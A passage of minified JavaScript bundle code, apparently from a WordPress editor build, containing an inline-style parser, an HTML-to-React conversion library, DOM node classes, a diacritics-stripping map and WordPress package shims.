r===$de?e[t]=t:r===Wde?e[t.toLowerCase()]=t:e[t]=r,e},{});xl.BOOLEAN=3;xl.BOOLEANISH_STRING=2;xl.NUMERIC=5;xl.OVERLOADED_BOOLEAN=4;xl.POSITIVE_NUMERIC=6;xl.RESERVED=0;xl.STRING=1;xl.getPropertyInfo=jde;xl.isCustomAttribute=Kde;xl.possibleStandardNames=Qde});var o7=Te((Z6e,yz)=>{yz.exports=window.React});var Sz=Te((K6e,Cz)=>{"use strict";var xz=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g,Yde=/\n/g,Xde=/^\s*/,Jde=/^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/,efe=/^:\s*/,tfe=/^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^)]*?\)|[^};])+)/,rfe=/^[;\s]*/,ofe=/^\s+|\s+$/g,afe=`
`,_z="/",kz="*",op="",nfe="comment",ife="declaration";function lfe(e,t){if(typeof e!="string")throw new TypeError("First argument must be a string");if(!e)return[];t=t||{};var r=1,a=1;function n(h){var g=h.match(Yde);g&&(r+=g.length);var b=h.lastIndexOf(afe);a=~b?h.length-b:a+h.length}function i(){var h={line:r,column:a};return function(g){return g.position=new l(h),u(),g}}function l(h){this.start=h,this.end={line:r,column:a},this.source=t.source}l.prototype.content=e;function s(h){var g=new Error(t.source+":"+r+":"+a+": "+h);if(g.reason=h,g.filename=t.source,g.line=r,g.column=a,g.source=e,!t.silent)throw g}function c(h){var g=h.exec(e);if(g){var b=g[0];return n(b),e=e.slice(b.length),g}}function u(){c(Xde)}function m(h){var g;for(h=h||[];g=p();)g!==!1&&h.push(g);return h}function p(){var h=i();if(!(_z!=e.charAt(0)||kz!=e.charAt(1))){for(var g=2;op!=e.charAt(g)&&(kz!=e.charAt(g)||_z!=e.charAt(g+1));)++g;if(g+=2,op===e.charAt(g-1))return s("End of comment missing");var b=e.slice(2,g-2);return a+=2,n(b),e=e.slice(g),a+=2,h({type:nfe,comment:b})}}function d(){var h=i(),g=c(Jde);if(g){if(p(),!c(efe))return s("property missing ':'");var b=c(tfe),y=h({type:ife,property:wz(g[0].replace(xz,op)),value:b?wz(b[0].replace(xz,op)):op});return c(rfe),y}}function f(){var h=[];m(h);for(var g;g=d();)g!==!1&&(h.push(g),m(h));return h}return u(),f()}function wz(e){return e?e.replace(ofe,op):op}Cz.exports=lfe});var Tz=Te(f0=>{"use strict";var sfe=f0&&f0.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(f0,"__esModule",{value:!0});f0.default=ufe;var cfe=sfe(Sz());function ufe(e,t){let r=null;if(!e||typeof e!="string")return r;let a=(0,cfe.default)(e),n=typeof t=="function";return a.forEach(i=>{if(i.type!=="declaration")return;let{property:l,value:s}=i;n?t(l,s,i):s&&(r=r||{},r[l]=s)}),r}});var Bz=Te(Ny=>{"use strict";Object.defineProperty(Ny,"__esModule",{value:!0});Ny.camelCase=void 0;var mfe=/^--[a-zA-Z0-9_-]+$/,pfe=/-([a-z])/g,dfe=/^[^-]+$/,ffe=/^-(webkit|moz|ms|o|khtml)-/,hfe=/^-(ms)-/,gfe=function(e){return!e||dfe.test(e)||mfe.test(e)},vfe=function(e,t){return t.toUpperCase()},Pz=function(e,t){return"".concat(t,"-")},bfe=function(e,t){return t===void 0&&(t={}),gfe(e)?e:(e=e.toLowerCase(),t.reactCompat?e=e.replace(hfe,Pz):e=e.replace(ffe,Pz),e.replace(pfe,vfe))};Ny.camelCase=bfe});var Ez=Te((n7,Iz)=>{"use strict";var yfe=n7&&n7.__importDefault||function(e){return e&&e.__esModule?e:{default:e}},xfe=yfe(Tz()),_fe=Bz();function a7(e,t){var r={};return!e||typeof e!="string"||(0,xfe.default)(e,function(a,n){a&&n&&(r[(0,_fe.camelCase)(a,t)]=n)}),r}a7.default=a7;Iz.exports=a7});var i7=Te(Va=>{"use strict";var kfe=Va&&Va.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Va,"__esModule",{value:!0});Va.returnFirstArg=Va.canTextBeChildOfNode=Va.ELEMENTS_WITH_NO_TEXT_CHILDREN=Va.PRESERVE_CUSTOM_ATTRIBUTES=void 0;Va.isCustomComponent=Tfe;Va.setStyleProp=Bfe;var wfe=o7(),Cfe=kfe(Ez()),Sfe=new Set(["annotation-xml","color-profile","font-face","font-face-src","font-face-uri","font-face-format","font-face-name","missing-glyph"]);function Tfe(e,t){return e.includes("-")?!Sfe.has(e):!!(t&&typeof t.is=="string")}var Pfe={reactCompat:!0};function Bfe(e,t){if(typeof e=="string"){if(!e.trim()){t.style={};return}try{t.style=(0,Cfe.default)(e,Pfe)}catch{t.style={}}}}Va.PRESERVE_CUSTOM_ATTRIBUTES=Number(wfe.version.split(".")[0])>=16;Va.ELEMENTS_WITH_NO_TEXT_CHILDREN=new Set(["tr","tbody","thead","tfoot","colgroup","table","head","html","frameset"]);var Ife=function(e){return!Va.ELEMENTS_WITH_NO_TEXT_CHILDREN.has(e.name)};Va.canTextBeChildOfNode=Ife;var Efe=function(e){return e};Va.returnFirstArg=Efe});var s7=Te(l7=>{"use strict";Object.defineProperty(l7,"__esModule",{value:!0});l7.default=Mfe;var h0=bz(),Nz=i7(),Nfe=["checked","value"],Dfe=["input","select","textarea"],Lfe={reset:!0,submit:!0};function Mfe(e,t){e===void 0&&(e={});var r={},a=!!(e.type&&Lfe[e.type]);for(var n in e){var i=e[n];if((0,h0.isCustomAttribute)(n)){r[n]=i;continue}var l=n.toLowerCase(),s=Dz(l);if(s){var c=(0,h0.getPropertyInfo)(s);switch(Nfe.includes(s)&&Dfe.includes(t)&&!a&&(s=Dz("default"+l)),r[s]=i,c&&c.type){case h0.BOOLEAN:r[s]=!0;break;case h0.OVERLOADED_BOOLEAN:i===""&&(r[s]=!0);break}continue}Nz.PRESERVE_CUSTOM_ATTRIBUTES&&(r[n]=i)}return(0,Nz.setStyleProp)(e.style,r),r}function Dz(e){return h0.possibleStandardNames[e]}});var Mz=Te(v0=>{"use strict";var Afe=v0&&v0.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(v0,"__esModule",{value:!0});v0.default=Lz;var c7=o7(),Rfe=Afe(s7()),g0=i7(),zfe={cloneElement:c7.cloneElement,createElement:c7.createElement,isValidElement:c7.isValidElement};function Lz(e,t){t===void 0&&(t={});for(var r=[],a=typeof t.replace=="function",n=t.transform||g0.returnFirstArg,i=t.library||zfe,l=i.cloneElement,s=i.createElement,c=i.isValidElement,u=e.length,m=0;m<u;m++){var p=e[m];if(a){var d=t.replace(p,m);if(c(d)){u>1&&(d=l(d,{key:d.key||m})),r.push(n(d,p,m));continue}}if(p.type==="text"){var f=!p.data.trim().length;if(f&&p.parent&&!(0,g0.canTextBeChildOfNode)(p.parent)||t.trim&&f)continue;r.push(n(p.data,p,m));continue}var h=p,g={};Vfe(h)?((0,g0.setStyleProp)(h.attribs.style,h.attribs),g=h.attribs):h.attribs&&(g=(0,Rfe.default)(h.attribs,h.name));var b=void 0;switch(p.type){case"script":case"style":p.children[0]&&(g.dangerouslySetInnerHTML={__html:p.children[0].data});break;case"tag":p.name==="textarea"&&p.children[0]?g.defaultValue=p.children[0].data:p.children&&p.children.length&&(b=Lz(p.children,t));break;default:continue}u>1&&(g.key=m),r.push(n(s(p.name,g,b),p,m))}return r.length===1?r[0]:r}function Vfe(e){return g0.PRESERVE_CUSTOM_ATTRIBUTES&&e.type==="tag"&&(0,g0.isCustomComponent)(e.name,e.attribs)}});var u7=Te(ar=>{"use strict";Object.defineProperty(ar,"__esModule",{value:!0});ar.Doctype=ar.CDATA=ar.Tag=ar.Style=ar.Script=ar.Comment=ar.Directive=ar.Text=ar.Root=ar.isTag=ar.ElementType=void 0;var Kn;(function(e){e.Root="root",e.Text="text",e.Directive="directive",e.Comment="comment",e.Script="script",e.Style="style",e.Tag="tag",e.CDATA="cdata",e.Doctype="doctype"})(Kn=ar.ElementType||(ar.ElementType={}));function Ffe(e){return e.type===Kn.Tag||e.type===Kn.Script||e.type===Kn.Style}ar.isTag=Ffe;ar.Root=Kn.Root;ar.Text=Kn.Text;ar.Directive=Kn.Directive;ar.Comment=Kn.Comment;ar.Script=Kn.Script;ar.Style=Kn.Style;ar.Tag=Kn.Tag;ar.CDATA=Kn.CDATA;ar.Doctype=Kn.Doctype});var f7=Te(Ge=>{"use strict";var Du=Ge&&Ge.__extends||(function(){var e=function(t,r){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(a,n){a.__proto__=n}||function(a,n){for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(a[i]=n[i])},e(t,r)};return function(t,r){if(typeof r!="function"&&r!==null)throw new TypeError("Class extends value "+String(r)+" is not a constructor or null");e(t,r);function a(){this.constructor=t}t.prototype=r===null?Object.create(r):(a.prototype=r.prototype,new a)}})(),b0=Ge&&Ge.__assign||function(){return b0=Object.assign||function(e){for(var t,r=1,a=arguments.length;r<a;r++){t=arguments[r];for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e},b0.apply(this,arguments)};Object.defineProperty(Ge,"__esModule",{value:!0});Ge.cloneNode=Ge.hasChildren=Ge.isDocument=Ge.isDirective=Ge.isComment=Ge.isText=Ge.isCDATA=Ge.isTag=Ge.Element=Ge.Document=Ge.CDATA=Ge.NodeWithChildren=Ge.ProcessingInstruction=Ge.Comment=Ge.Text=Ge.DataNode=Ge.Node=void 0;var vn=u7(),p7=(function(){function e(){this.parent=null,this.prev=null,this.next=null,this.startIndex=null,this.endIndex=null}return Object.defineProperty(e.prototype,"parentNode",{get:function(){return this.parent},set:function(t){this.parent=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"previousSibling",{get:function(){return this.prev},set:function(t){this.prev=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"nextSibling",{get:function(){return this.next},set:function(t){this.next=t},enumerable:!1,configurable:!0}),e.prototype.cloneNode=function(t){return t===void 0&&(t=!1),d7(this,t)},e})();Ge.Node=p7;var Dy=(function(e){Du(t,e);function t(r){var a=e.call(this)||this;return a.data=r,a}return Object.defineProperty(t.prototype,"nodeValue",{get:function(){return this.data},set:function(r){this.data=r},enumerable:!1,configurable:!0}),t})(p7);Ge.DataNode=Dy;var Az=(function(e){Du(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=vn.ElementType.Text,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 3},enumerable:!1,configurable:!0}),t})(Dy);Ge.Text=Az;var Rz=(function(e){Du(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=vn.ElementType.Comment,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 8},enumerable:!1,configurable:!0}),t})(Dy);Ge.Comment=Rz;var zz=(function(e){Du(t,e);function t(r,a){var n=e.call(this,a)||this;return n.name=r,n.type=vn.ElementType.Directive,n}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),t})(Dy);Ge.ProcessingInstruction=zz;var Ly=(function(e){Du(t,e);function t(r){var a=e.call(this)||this;return a.children=r,a}return Object.defineProperty(t.prototype,"firstChild",{get:function(){var r;return(r=this.children[0])!==null&&r!==void 0?r:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"lastChild",{get:function(){return this.children.length>0?this.children[this.children.length-1]:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"childNodes",{get:function(){return this.children},set:function(r){this.children=r},enumerable:!1,configurable:!0}),t})(p7);Ge.NodeWithChildren=Ly;var Vz=(function(e){Du(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=vn.ElementType.CDATA,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 4},enumerable:!1,configurable:!0}),t})(Ly);Ge.CDATA=Vz;var Fz=(function(e){Du(t,e);function t(){var r=e!==null&&e.apply(this,arguments)||this;return r.type=vn.ElementType.Root,r}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 9},enumerable:!1,configurable:!0}),t})(Ly);Ge.Document=Fz;var Oz=(function(e){Du(t,e);function t(r,a,n,i){n===void 0&&(n=[]),i===void 0&&(i=r==="script"?vn.ElementType.Script:r==="style"?vn.ElementType.Style:vn.ElementType.Tag);var l=e.call(this,n)||this;return l.name=r,l.attribs=a,l.type=i,l}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"tagName",{get:function(){return this.name},set:function(r){this.name=r},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"attributes",{get:function(){var r=this;return Object.keys(this.attribs).map(function(a){var n,i;return{name:a,value:r.attribs[a],namespace:(n=r["x-attribsNamespace"])===null||n===void 0?void 0:n[a],prefix:(i=r["x-attribsPrefix"])===null||i===void 0?void 0:i[a]}})},enumerable:!1,configurable:!0}),t})(Ly);Ge.Element=Oz;function Hz(e){return(0,vn.isTag)(e)}Ge.isTag=Hz;function jz(e){return e.type===vn.ElementType.CDATA}Ge.isCDATA=jz;function Uz(e){return e.type===vn.ElementType.Text}Ge.isText=Uz;function Gz(e){return e.type===vn.ElementType.Comment}Ge.isComment=Gz;function Wz(e){return e.type===vn.ElementType.Directive}Ge.isDirective=Wz;function $z(e){return e.type===vn.ElementType.Root}Ge.isDocument=$z;function Ofe(e){return Object.prototype.hasOwnProperty.call(e,"children")}Ge.hasChildren=Ofe;function d7(e,t){t===void 0&&(t=!1);var r;if(Uz(e))r=new Az(e.data);else if(Gz(e))r=new Rz(e.data);else if(Hz(e)){var a=t?m7(e.children):[],n=new Oz(e.name,b0({},e.attribs),a);a.forEach(function(c){return c.parent=n}),e.namespace!=null&&(n.namespace=e.namespace),e["x-attribsNamespace"]&&(n["x-attribsNamespace"]=b0({},e["x-attribsNamespace"])),e["x-attribsPrefix"]&&(n["x-attribsPrefix"]=b0({},e["x-attribsPrefix"])),r=n}else if(jz(e)){var a=t?m7(e.children):[],i=new Vz(a);a.forEach(function(u){return u.parent=i}),r=i}else if($z(e)){var a=t?m7(e.children):[],l=new Fz(a);a.forEach(function(u){return u.parent=l}),e["x-mode"]&&(l["x-mode"]=e["x-mode"]),r=l}else if(Wz(e)){var s=new zz(e.name,e.data);e["x-name"]!=null&&(s["x-name"]=e["x-name"],s["x-publicId"]=e["x-publicId"],s["x-systemId"]=e["x-systemId"]),r=s}else throw new Error("Not implemented yet: ".concat(e.type));return r.startIndex=e.startIndex,r.endIndex=e.endIndex,e.sourceCodeLocation!=null&&(r.sourceCodeLocation=e.sourceCodeLocation),r}Ge.cloneNode=d7;function m7(e){for(var t=e.map(function(a){return d7(a,!0)}),r=1;r<t.length;r++)t[r].prev=t[r-1],t[r-1].next=t[r];return t}});var Kz=Te(ys=>{"use strict";var Hfe=ys&&ys.__createBinding||(Object.create?(function(e,t,r,a){a===void 0&&(a=r);var n=Object.getOwnPropertyDescriptor(t,r);(!n||("get"in n?!t.__esModule:n.writable||n.configurable))&&(n={enumerable:!0,get:function(){return t[r]}}),Object.defineProperty(e,a,n)}):(function(e,t,r,a){a===void 0&&(a=r),e[a]=t[r]})),jfe=ys&&ys.__exportStar||function(e,t){for(var r in e)r!=="default"&&!Object.prototype.hasOwnProperty.call(t,r)&&Hfe(t,e,r)};Object.defineProperty(ys,"__esModule",{value:!0});ys.DomHandler=void 0;var h7=u7(),Lu=f7();jfe(f7(),ys);var qz={withStartIndices:!1,withEndIndices:!1,xmlMode:!1},Zz=(function(){function e(t,r,a){this.dom=[],this.root=new Lu.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null,typeof r=="function"&&(a=r,r=qz),typeof t=="object"&&(r=t,t=void 0),this.callback=t??null,this.options=r??qz,this.elementCB=a??null}return e.prototype.onparserinit=function(t){this.parser=t},e.prototype.onreset=function(){this.dom=[],this.root=new Lu.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null},e.prototype.onend=function(){this.done||(this.done=!0,this.parser=null,this.handleCallback(null))},e.prototype.onerror=function(t){this.handleCallback(t)},e.prototype.onclosetag=function(){this.lastNode=null;var t=this.tagStack.pop();this.options.withEndIndices&&(t.endIndex=this.parser.endIndex),this.elementCB&&this.elementCB(t)},e.prototype.onopentag=function(t,r){var a=this.options.xmlMode?h7.ElementType.Tag:void 0,n=new Lu.Element(t,r,void 0,a);this.addNode(n),this.tagStack.push(n)},e.prototype.ontext=function(t){var r=this.lastNode;if(r&&r.type===h7.ElementType.Text)r.data+=t,this.options.withEndIndices&&(r.endIndex=this.parser.endIndex);else{var a=new Lu.Text(t);this.addNode(a),this.lastNode=a}},e.prototype.oncomment=function(t){if(this.lastNode&&this.lastNode.type===h7.ElementType.Comment){this.lastNode.data+=t;return}var r=new Lu.Comment(t);this.addNode(r),this.lastNode=r},e.prototype.oncommentend=function(){this.lastNode=null},e.prototype.oncdatastart=function(){var t=new Lu.Text(""),r=new Lu.CDATA([t]);this.addNode(r),t.parent=r,this.lastNode=t},e.prototype.oncdataend=function(){this.lastNode=null},e.prototype.onprocessinginstruction=function(t,r){var a=new Lu.ProcessingInstruction(t,r);this.addNode(a)},e.prototype.handleCallback=function(t){if(typeof this.callback=="function")this.callback(t,this.dom);else if(t)throw t},e.prototype.addNode=function(t){var r=this.tagStack[this.tagStack.length-1],a=r.children[r.children.length-1];this.options.withStartIndices&&(t.startIndex=this.parser.startIndex),this.options.withEndIndices&&(t.endIndex=this.parser.endIndex),r.children.push(t),a&&(t.prev=a,a.next=t),t.parent=r,this.lastNode=null},e})();ys.DomHandler=Zz;ys.default=Zz});var v7=Te(ao=>{"use strict";var g7=ao&&ao.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(ao,"__esModule",{value:!0});ao.htmlToDOM=ao.domToReact=ao.attributesToProps=ao.Text=ao.ProcessingInstruction=ao.Element=ao.Comment=void 0;ao.default=Wfe;var Qz=g7(hz());ao.htmlToDOM=Qz.default;var Ufe=g7(s7());ao.attributesToProps=Ufe.default;var Yz=g7(Mz());ao.domToReact=Yz.default;var My=Kz();Object.defineProperty(ao,"Comment",{enumerable:!0,get:function(){return My.Comment}});Object.defineProperty(ao,"Element",{enumerable:!0,get:function(){return My.Element}});Object.defineProperty(ao,"ProcessingInstruction",{enumerable:!0,get:function(){return My.ProcessingInstruction}});Object.defineProperty(ao,"Text",{enumerable:!0,get:function(){return My.Text}});var Gfe={lowerCaseAttributeNames:!1};function Wfe(e,t){if(typeof e!="string")throw new TypeError("First argument must be a string");return e?(0,Yz.default)((0,Qz.default)(e,t?.htmlparser2||Gfe),t):[]}});var Ri=Te((iSe,Jz)=>{Jz.exports=window.wp.dom});var v=Te((lSe,eV)=>{eV.exports=window.ReactJSXRuntime});var j=Te((mSe,oV)=>{oV.exports=window.wp.element});var L=Te((dSe,aV)=>{aV.exports=window.wp.primitives});var A=Te((rBe,nV)=>{nV.exports=window.wp.components});var Tr=Te((oBe,iV)=>{iV.exports=window.wp.blob});var Y=Te((aBe,lV)=>{lV.exports=window.wp.coreData});var nr=Te((eIe,jV)=>{jV.exports=window.wp.url});var Ho=Te((oIe,qV)=>{qV.exports=window.wp.htmlEntities});var yr=Te((hIe,lF)=>{lF.exports=window.wp.notices});var cF=Te((yIe,sF)=>{sF.exports=window.wp.privateApis});var Cs=Te((sEe,FF)=>{FF.exports=window.wp.keycodes});var Nf=Te((dEe,jF)=>{jF.exports=window.wp.deprecated});var Wu=Te((zEe,eO)=>{eO.exports=window.wp.richText});var Sk=Te((BLe,KH)=>{KH.exports=window.wp.date});var O1=Te((iMe,uj)=>{uj.exports=window.wp.apiFetch});var Vc=Te((LAe,GU)=>{GU.exports=window.wp.hooks});var J1=Te((Xze,C5)=>{var gW={\u00C0:"A",\u00C1:"A",\u00C2:"A",\u00C3:"A",\u00C4:"A",\u00C5:"A",\u1EA4:"A",\u1EAE:"A",\u1EB2:"A",\u1EB4:"A",\u1EB6:"A",\u00C6:"AE",\u1EA6:"A",\u1EB0:"A",\u0202:"A",\u1EA2:"A",\u1EA0:"A",\u1EA8:"A",\u1EAA:"A",\u1EAC:"A",\u00C7:"C",\u1E08:"C",\u00C8:"E",\u00C9:"E",\u00CA:"E",\u00CB:"E",\u1EBE:"E",\u1E16:"E",\u1EC0:"E",\u1E14:"E",\u1E1C:"E",\u0206:"E",\u1EBA:"E",\u1EBC:"E",\u1EB8:"E",\u1EC2:"E",\u1EC4:"E",\u1EC6:"E",\u00CC:"I",\u00CD:"I",\u00CE:"I",\u00CF:"I",\u1E2E:"I",\u020A:"I",\u1EC8:"I",\u1ECA:"I",\u00D0:"D",\u00D1:"N",\u00D2:"O",\u00D3:"O",\u00D4:"O",\u00D5:"O",\u00D6:"O",\u00D8:"O",\u1ED0:"O",\u1E4C:"O",\u1E52:"O",\u020E:"O",\u1ECE:"O",\u1ECC:"O",\u1ED4:"O",\u1ED6:"O",\u1ED8:"O",\u1EDC:"O",\u1EDE:"O",\u1EE0:"O",\u1EDA:"O",\u1EE2:"O",\u00D9:"U",\u00DA:"U",\u00DB:"U",\u00DC:"U",\u1EE6:"U",\u1EE4:"U",\u1EEC:"U",\u1EEE:"U",\u1EF0:"U",\u00DD:"Y",\u00E0:"a",\u00E1:"a",\u00E2:"a",\u00E3:"a",\u00E4:"a",\u00E5:"a",\u1EA5:"a",\u1EAF:"a",\u1EB3:"a",\u1EB5:"a",\u1EB7:"a",\u00E6:"ae",\u1EA7:"a",\u1EB1:"a",\u0203:"a",\u1EA3:"a",\u1EA1:"a",\u1EA9:"a",\u1EAB:"a",\u1EAD:"a",\u00E7:"c",\u1E09:"c",\u00E8:"e",\u00E9:"e",\u00EA:"e",\u00EB:"e",\u1EBF:"e",\u1E17:"e",\u1EC1:"e",\u1E15:"e",\u1E1D:"e",\u0207:"e",\u1EBB:"e",\u1EBD:"e",\u1EB9:"e",\u1EC3:"e",\u1EC5:"e",\u1EC7:"e",\u00EC:"i",\u00ED:"i",\u00EE:"i",\u00EF:"i",\u1E2F:"i",\u020B:"i",\u1EC9:"i",\u1ECB:"i",\u00F0:"d",\u00F1:"n",\u00F2:"o",\u00F3:"o",\u00F4:"o",\u00F5:"o",\u00F6:"o",\u00F8:"o",\u1ED1:"o",\u1E4D:"o",\u1E53:"o",\u020F:"o",\u1ECF:"o",\u1ECD:"o",\u1ED5:"o",\u1ED7:"o",\u1ED9:"o",\u1EDD:"o",\u1EDF:"o",\u1EE1:"o",\u1EDB:"o",\u1EE3:"o",\u00F9:"u",\u00FA:"u",\u00FB:"u",\u00FC:"u",\u1EE7:"u",\u1EE5:"u",\u1EED:"u",\u1EEF:"u",\u1EF1:"u",\u00FD:"y",\u00FF:"y",\u0100:"A",\u0101:"a",\u0102:"A",\u0103:"a",\u0104:"A",\u0105:"a",\u0106:"C",\u0107:"c",\u0108:"C",\u0109:"c",\u010A:"C",\u010B:"c",\u010C:"C",\u010D:"c",C\u0306:"C",c\u0306:"c",\u010E:"D",\u010F:"d",\u0110:"D",\u0111:"d",\u0112:"E",\u0113:"e",\u0114:"E",\u0115:"e",\u0116:"E",\u0117:"e",\u0118:"E",\u0119:"e",\u011A:"E",\u011B:"e",\u011C:"G",\u01F4:"G",\u011D:"g",\u01F5:"g",\u011E:"G",\u011F:"g",\u0120:"G",\u0121:"g",\u0122:"G",\u0123:"g",\u0124:"H",\u0125:"h",\u0126:"H",\u0127:"h",\u1E2A:"H",\u1E2B:"h",\u0128:"I",\u0129:"i",\u012A:"I",\u012B:"i",\u012C:"I",\u012D:"i",\u012E:"I",\u012F:"i",\u0130:"I",\u0131:"i",\u0132:"IJ",\u0133:"ij",\u0134:"J",\u0135:"j",\u0136:"K",\u0137:"k",\u1E30:"K",\u1E31:"k",K\u0306:"K",k\u0306:"k",\u0139:"L",\u013A:"l",\u013B:"L",\u013C:"l",\u013D:"L",\u013E:"l",\u013F:"L",\u0140:"l",\u0141:"l",\u0142:"l",\u1E3E:"M",\u1E3F:"m",M\u0306:"M",m\u0306:"m",\u0143:"N",\u0144:"n",\u0145:"N",\u0146:"n",\u0147:"N",\u0148:"n",\u0149:"n",N\u0306:"N",n\u0306:"n",\u014C:"O",\u014D:"o",\u014E:"O",\u014F:"o",\u0150:"O",\u0151:"o",\u0152:"OE",\u0153:"oe",P\u0306:"P",p\u0306:"p",\u0154:"R",\u0155:"r",\u0156:"R",\u0157:"r",\u0158:"R",\u0159:"r",R\u0306:"R",r\u0306:"r",\u0212:"R",\u0213:"r",\u015A:"S",\u015B:"s",\u015C:"S",\u015D:"s",\u015E:"S",\u0218:"S",\u0219:"s",\u015F:"s",\u0160:"S",\u0161:"s",\u0162:"T",\u0163:"t",\u021B:"t",\u021A:"T",\u0164:"T",\u0165:"t",\u0166:"T",\u0167:"t",T\u0306:"T",t\u0306:"t",\u0168:"U",\u0169:"u",\u016A:"U",\u016B:"u",\u016C:"U",\u016D:"u",\u016E:"U",\u016F:"u",\u0170:"U",\u0171:"u",\u0172:"U",\u0173:"u",\u0216:"U",\u0217:"u",V\u0306:"V",v\u0306:"v",\u0174:"W",\u0175:"w",\u1E82:"W",\u1E83:"w",X\u0306:"X",x\u0306:"x",\u0176:"Y",\u0177:"y",\u0178:"Y",Y\u0306:"Y",y\u0306:"y",\u0179:"Z",\u017A:"z",\u017B:"Z",\u017C:"z",\u017D:"Z",\u017E:"z",\u017F:"s",\u0192:"f",\u01A0:"O",\u01A1:"o",\u01AF:"U",\u01B0:"u",\u01CD:"A",\u01CE:"a",\u01CF:"I",\u01D0:"i",\u01D1:"O",\u01D2:"o",\u01D3:"U",\u01D4:"u",\u01D5:"U",\u01D6:"u",\u01D7:"U",\u01D8:"u",\u01D9:"U",\u01DA:"u",\u01DB:"U",\u01DC:"u",\u1EE8:"U",\u1EE9:"u",\u1E78:"U",\u1E79:"u",\u01FA:"A",\u01FB:"a",\u01FC:"AE",\u01FD:"ae",\u01FE:"O",\u01FF:"o",\u00DE:"TH",\u00FE:"th",\u1E54:"P",\u1E55:"p",\u1E64:"S",\u1E65:"s",X\u0301:"X",x\u0301:"x",\u0403:"\u0413",\u0453:"\u0433",\u040C:"\u041A",\u045C:"\u043A",A\u030B:"A",a\u030B:"a",E\u030B:"E",e\u030B:"e",I\u030B:"I",i\u030B:"i",\u01F8:"N",\u01F9:"n",\u1ED2:"O",\u1ED3:"o",\u1E50:"O",\u1E51:"o",\u1EEA:"U",\u1EEB:"u",\u1E80:"W",\u1E81:"w",\u1EF2:"Y",\u1EF3:"y",\u0200:"A",\u0201:"a",\u0204:"E",\u0205:"e",\u0208:"I",\u0209:"i",\u020C:"O",\u020D:"o",\u0210:"R",\u0211:"r",\u0214:"U",\u0215:"u",B\u030C:"B",b\u030C:"b",\u010C\u0323:"C",\u010D\u0323:"c",\u00CA\u030C:"E",\u00EA\u030C:"e",F\u030C:"F",f\u030C:"f",\u01E6:"G",\u01E7:"g",\u021E:"H",\u021F:"h",J\u030C:"J",\u01F0:"j",\u01E8:"K",\u01E9:"k",M\u030C:"M",m\u030C:"m",P\u030C:"P",p\u030C:"p",Q\u030C:"Q",q\u030C:"q",\u0158\u0329:"R",\u0159\u0329:"r",\u1E66:"S",\u1E67:"s",V\u030C:"V",v\u030C:"v",W\u030C:"W",w\u030C:"w",X\u030C:"X",x\u030C:"x",Y\u030C:"Y",y\u030C:"y",A\u0327:"A",a\u0327:"a",B\u0327:"B",b\u0327:"b",\u1E10:"D",\u1E11:"d",\u0228:"E",\u0229:"e",\u0190\u0327:"E",\u025B\u0327:"e",\u1E28:"H",\u1E29:"h",I\u0327:"I",i\u0327:"i",\u0197\u0327:"I",\u0268\u0327:"i",M\u0327:"M",m\u0327:"m",O\u0327:"O",o\u0327:"o",Q\u0327:"Q",q\u0327:"q",U\u0327:"U",u\u0327:"u",X\u0327:"X",x\u0327:"x",Z\u0327:"Z",z\u0327:"z",\u0439:"\u0438",\u0419:"\u0418",\u0451:"\u0435",\u0401:"\u0415"},vW=Object.keys(gW).join("|"),_ve=new RegExp(vW,"g"),kve=new RegExp(vW,"");function wve(e){return gW[e]}var bW=function(e){return e.replace(_ve,wve)},Cve=function(e){return!!e.match(kve)};C5.exports=bW;C5.exports.has=Cve;C5.exports.remove=bW});var zq=Te((pHe,Rq)=>{Rq.exports=window.wp.uploadMedia});var fv=Te((Oje,OZ)=>{OZ.exports=window.wp.a11y});var GY=Te((g$e,UY)=>{UY.exports=window.wp.escapeHtml});var qre=Te((aet,$re)=>{$re.exports=window.wp.wordcount});var tie=Te((Jot,eie)=>{eie.exports=window.wp.patterns});var $ie=Te((nnt,Wie)=>{Wie.exports=window.wp.autop});var yce=Te((Ust,bce)=>{"use strict";bce.exports=function e(t,r){if(t===r)return!0;if(t&&r&&typeof t=="object"&&typeof r=="object"){if(t.constructor!==r.constructor)return!1;var a,n,i;if(Array.isArray(t)){if(a=t.length,a!=r.length)return!1;for(n=a;n--!==0;)if(!e(t[n],r[n]))return!1;return!0}if(t instanceof Map&&r instanceof Map){if(t.size!==r.size)return!1;for(n of t.entries())if(!r.has(n[0]))return!1;for(n of t.entries())if(!e(n[1],r.get(n[0])))return!1;return!0}if(t instanceof Set&&r instanceof Set){if(t.size!==r.size)return!1;for(n of t.entries())if(!r.has(n[0]))return!1;return!0}if(ArrayBuffer.isView(t)&&ArrayBuffer.isView(r)){if(a=t.length,a!=r.length)return!1;for(n=a;n--!==0;)if(t[n]!==r[n])return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&&t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return 